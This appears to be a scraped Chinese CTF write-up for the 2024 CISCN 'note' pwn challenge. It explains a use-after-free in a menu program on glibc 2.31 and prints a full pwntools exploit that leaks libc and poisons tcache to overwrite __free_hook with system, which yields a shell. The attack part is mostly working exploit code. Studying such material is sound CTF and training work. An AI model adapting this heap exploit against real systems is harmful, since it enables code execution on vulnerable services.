当前位置: 首页 > news >正文

【PWN · TcachebinAttack | UAF】[2024CISCN · 华中赛区] note

一道简单的tcache劫持


一、题目

二、思路

存在UAF,libc版本2.31,经典菜单题

1.通过unsorted-bin-attack来leak-libc

2.通过uaf打tcache-bin-attack劫持__free_hook实现getshell

三、EXP

from pwn import *
context(arch='amd64',log_level='debug')io=process('./pwn')
elf=ELF('./pwn')
libc=ELF('./libc.so.6')
def add(size,content):io.sendlineafter(b'exit\n',b'1')io.sendlineafter(b'content:',str(size).encode('utf-8'))io.sendlineafter(b'content:',content)def edit(index,size,content):io.sendlineafter(b'exit\n',b'2')io.sendlineafter(b'index: \n',str(index).encode('utf-8'))io.sendlineafter(b'content: \n',str(size).encode('utf-8'))io.sendlineafter(b'Content:',content)def delete(index):io.sendlineafter(b'exit\n',b'3')io.sendlineafter(b'index: \n',str(index).encode('utf-8'))def show(index):io.sendlineafter(b'exit\n',b'4')io.sendlineafter(b'index: \n',str(index).encode('utf-8'))################# test
# add(10,b'aa')
# show(0)
# edit(0,5,b'22')
# show(0)
# delete(0)
# show(0)################# gdb-attach
gdb.attach(io);input()###################################################### leak-libc
for _ in range(9):add(0x90,b'deadbeef')   # a0~a8
for index in range(8):delete(index)           # d0~d7
input('[+] Tcache full-filled')
show(7)                     
libc_base=u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))-0x1ecbe0
success('libc:'+hex(libc_base))
###################################################### hijack __free_hook
free_hook=libc_base+libc.sym['__free_hook']
success('__free_hook:'+hex(free_hook))
system=libc_base+libc.sym['system']
success('system:'+hex(system))
# 修改tcache->next
add(0x20,b'deadbeef')                   # a9    #绕过数量的检查
add(0x20,b'deadbeef')                   # a10
delete(9)
delete(10)
edit(10,0x10,p64(free_hook))            # 注意tcache LIFO, edit后释放的
input('[+]check1')
add(0x20,b'deadbeef')                   # a11
add(0x20,p64(system))                   # a12
input('[+]check2')
add(0x10,b'/bin/sh\x00')                # a13
input('[+]check3')
delete(13)                              # free('/bin/sh\x00')->__free_hook('/bin/sh\x00')->system('/bin/sh\x00)io.interactive()

三、过程调试与理解 

 

http://www.lryc.cn/news/384393.html

相关文章:

  • Java数据脱敏
  • 【Java Web】三大域对象
  • 【Linux】进程信号_3
  • LongRAG:利用长上下文大语言模型提升检索生成效果
  • go中的方法 func-----数据类型
  • 408计算机网络--物理层
  • 十年,亚马逊云科技合作伙伴网络开启AI新征程
  • 基于Spring Boot的在线医疗咨询平台的设计与实现【附源码】
  • 星坤Type-A连接器:创新快充技术,引领电子连接!
  • 入门JavaWeb之 Response 下载文件
  • Java自定义注解校验token并直接返回给前端状态
  • C++ | Leetcode C++题解之第200题岛屿数量
  • Linux安全配置
  • vue实现不预览PDF的情况下打印pdf文件
  • C++ | Leetcode C++题解之第199题二叉树的右视图
  • [leetcode]圆圈中最后剩下的数字/ 破冰游戏
  • mysql数据库的管理
  • Java项目分层(持续更新中)
  • 2024年软件测试面试题大全【答案+文档】
  • 数据赋能(131)——体系:数据转换——概述、关注焦点
  • 【自然语言处理系列】掌握jieba分词器:从基础到实战,深入文本分析与词云图展示
  • TikTok短视频矩阵系统
  • 码题杯:我会修改图
  • MongoDB Map-Reduce 简介
  • 某平台小程序逆向思路整理
  • 黑马苍穹外卖6 清理redis缓存+Spring Cache+购物车的增删改查
  • 鸿蒙开发系统基础能力:【@ohos.systemTime (设置系统时间)】
  • CVE-2020-26048(文件上传+SQL注入)
  • 【面试题】信息系统安全运维要做什么
  • 引导过程与服务器控制